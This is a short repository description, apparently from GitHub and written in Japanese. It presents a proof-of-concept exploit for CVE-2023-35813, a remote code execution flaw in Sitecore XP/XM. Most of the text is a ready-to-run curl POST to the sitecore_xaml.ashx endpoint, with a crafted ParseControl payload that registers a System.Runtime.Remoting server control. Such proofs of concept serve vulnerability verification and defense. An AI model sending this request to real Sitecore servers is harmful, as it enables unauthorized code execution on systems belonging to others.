nmlz/cve-2023-35813_pocCVE-2023-35813の概念実証エクスプロイト。Sitecore XP/XMにおける、巧妙に細工されたXAMLリクエストによるリモートコード実行の脆弱性です。ParseControlの逆シリアル化攻撃を実証します。
curl -k -v -X POST "https://[target]/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
-H "Content-Type: application/x-www-form-urlencoded"
--data-urlencode "__ISEVENT=1"
--data-urlencode "__SOURCE="
--data-urlencode "__PARAMETERS=ParseControl("<%@Register
TagPrefix='x'
Namespace='System.Runtime.Remoting.Services'
Assembly='System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
%>
<x:RemotingService runat='server'
Context-Response-ContentType='test123'
/>")"
